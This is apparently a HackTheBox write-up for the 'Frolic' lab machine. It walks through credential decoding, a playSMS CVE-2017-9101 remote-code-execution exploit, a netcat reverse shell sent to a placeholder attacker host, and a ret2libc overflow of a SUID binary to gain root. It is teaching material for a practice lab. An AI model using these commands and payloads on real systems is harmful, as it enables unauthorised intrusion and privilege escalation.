# Frolic Writeup - HackTheBox

> Exploit a PlaySMS RCE vulnerability after decoding OOK/Brainfuck/Base64 creds, then escalate via SUID rop binary with ret2libc.

- **URL:** https://hackindex.io/writeups/frolic
- **Platform:** HackTheBox
- **Difficulty:** Easy
- **Operating system:** Linux
- **Machine:** https://app.hackthebox.com/machines/Frolic?sort_by=created_at&sort_type=desc
- **Tags:** buffer-overflow, privilege-escalation, suid, base64, cve-2017-9101
- **Authors:** [Mohammad Meraj](https://hackindex.io/authors/mohammad-meraj.md)
- **Published:** 2026-09-11
- **Updated:** 2026-09-11

Frolic is a Linux box. The chain runs: two web apps on non-standard ports, a client-side JavaScript login exposes hardcoded credentials, the success page hides an Ook!-encoded hint pointing to a Base64 blob that decodes to a password-protected zip, inside which a hex string decodes through Base64 into Brainfuck, which outputs the playSMS password, CVE-2017-9101 gives a shell as www-data, a custom SUID binary uses strcpy without bounds checking and a ret2libc chain escalates to root.

## Discovery

### Port scan

```bash
rustscan -a $TARGET_IP
nmap -sCV -T4 -p22,139,1880,9999 $TARGET_IP -oA nmap/nmap
# PORT     STATE SERVICE     VERSION
# 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4
# 139/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu
# 1880/tcp open  http        Node.js Express framework
# 9999/tcp open  http        nginx 1.10.3 (Ubuntu)
# |_http-title: Welcome to nginx!
```

Two web servers on non-standard ports. The nginx default page references `forlic.htb:1880`, linking the two services. Add `forlic.htb` to `/etc/hosts`.

## Web Enumeration

### Port 1880 - Node-RED

```bash
ffuf -u http://forlic.htb:1880/red/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -mc 200,301
# about   [Status: 200]
```

`/red/about` is a Node-RED changelog confirming version 0.19.4. Note the version for later, then move to port 9999.

### Port 9999 - Custom admin panel

```bash
feroxbuster -u http://forlic.htb:9999 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -x .php,.html
# 301  http://forlic.htb:9999/admin
# 200  http://forlic.htb:9999/admin/index.html
# 200  http://forlic.htb:9999/admin/js/login.js
# 200  http://forlic.htb:9999/admin/success.html
# 301  http://forlic.htb:9999/backup
# 301  http://forlic.htb:9999/dev
```

## Credential Chain

### Hardcoded credentials in login.js

```bash
curl http://forlic.htb:9999/admin/js/login.js
# var attempt = 3;
# function validate(){
#   var username = document.getElementById("username").value;
#   var password = document.getElementById("password").value;
#   if ( username == "admin" && password == "superduperlooperpassword_lol"){
#     window.location = "success.html";
#   }
# }
```

Authentication is entirely client-side. Credentials are `admin` / `superduperlooperpassword_lol`. The success page at `/admin/success.html` contains a wall of `.`, `!`, and `?` characters, which is Ook! encoded text. Decode it:

```
# Paste success.html content into https://www.splitbrain.org/services/ook
# Output:
Nothing here check /asdiSIAJJ0QWE9JAS
```

### Base64 blob to zip to hex to Brainfuck

```bash
curl http://forlic.htb:9999/asdiSIAJJ0QWE9JAS/ | base64 -d > out
file out
# out: Zip archive data, made by v3.0 UNIX
```

```bash
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u out
# PASSWORD FOUND!!!!: pw == password
```

```bash
unzip out
# index.php contains a hex string
cat index.php | xxd -r -p | base64 -d
# +++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ ...
```

Hex decodes to Base64, Base64 decodes to Brainfuck. Paste the Brainfuck into an interpreter to get the playSMS password.

## Foothold

### playSMS via CVE-2017-9101

`/dev/backup/` references a `/playsms` path. Browsing to it shows a real login form. Use the recovered credential with `admin`:

```bash
git clone https://github.com/jasperla/CVE-2017-9101
cd CVE-2017-9101
python3 exploit.py --username admin --password $PLAYSMS_PASSWORD --url http://forlic.htb:9999/playsms/index.php --command id
# [*] Grabbing CSRF token for login
# [*] Attempting to login as admin
# [+] Logged in!
# [*] Grabbing CSRF token for phonebook import
# [*] Attempting to execute payload
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

RCE via the phonebook CSV import. The import embeds unsanitized field content into generated PHP. Get a shell:

```bash
python3 exploit.py --username admin --password $PLAYSMS_PASSWORD --url http://forlic.htb:9999/playsms/index.php --command "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc $ATTACKER_IP $ATTACKER_PORT >/tmp/f"
```

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 52416
# $ whoami
# www-data
```

Shell as `www-data`.

## Privilege Escalation

### SUID binary ret2libc

A custom SUID binary sits at `/home/ayush/.binary/rop`. `strings` shows it calls `strcpy` and `setuid`:

```bash
strings /home/ayush/.binary/rop
# setuid
# strcpy
# puts
# printf
# vuln
# main
# [*] Usage: program <message>
# [+] Message sent:
```

```bash
ldd /home/ayush/.binary/rop
# linux-gate.so.1 =>  (0xb7fda000)
# libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
# /lib/ld-linux.so.2 (0xb7fdb000)
```

32-bit binary, dynamically linked. `strcpy` with user input means a classic stack buffer overflow. Build a ret2libc chain using addresses from the loaded libc:

```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E ' system| exit'
strings -atx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
# 1457: 0003ada0 FUNC system@@GLIBC_2.0
#  141: 0002e9d0 FUNC exit@@GLIBC_2.0
# 15ba0b /bin/sh
```

libc base from `ldd` is `0xb7e19000`. Add the offsets:

- `system()`: `0xb7e19000 + 0x3ada0` = `0xb7e53da0`
- `exit()`: `0xb7e19000 + 0x2e9d0` = `0xb7e479d0`
- `/bin/sh`: `0xb7e19000 + 0x15ba0b` = `0xb7f74a0b`

The payload is 52 bytes of padding, then system() address, exit() address, /bin/sh address. On 32-bit cdecl the argument follows the return address on the stack:

```bash
/home/ayush/.binary/rop $(python -c 'print("a"*52 + "\xa0\x3d\xe5\xb7" + "\xd0\x79\xe4\xb7" + "\x0b\x4a\xf7\xb7")')
# # id
# uid=0(root) gid=33(www-data) groups=33(www-data)
```

Root shell via ret2libc. No shellcode needed, no stack canaries, no ASLR.

Related

## References

- [CVE-2017-9101](https://github.com/jasperla/CVE-2017-9101) - Authenticated playSMS phonebook import RCE.
- [Ook! Interpreter](https://www.splitbrain.org/services/ook) - Online Ook!/Brainfuck interpreter.
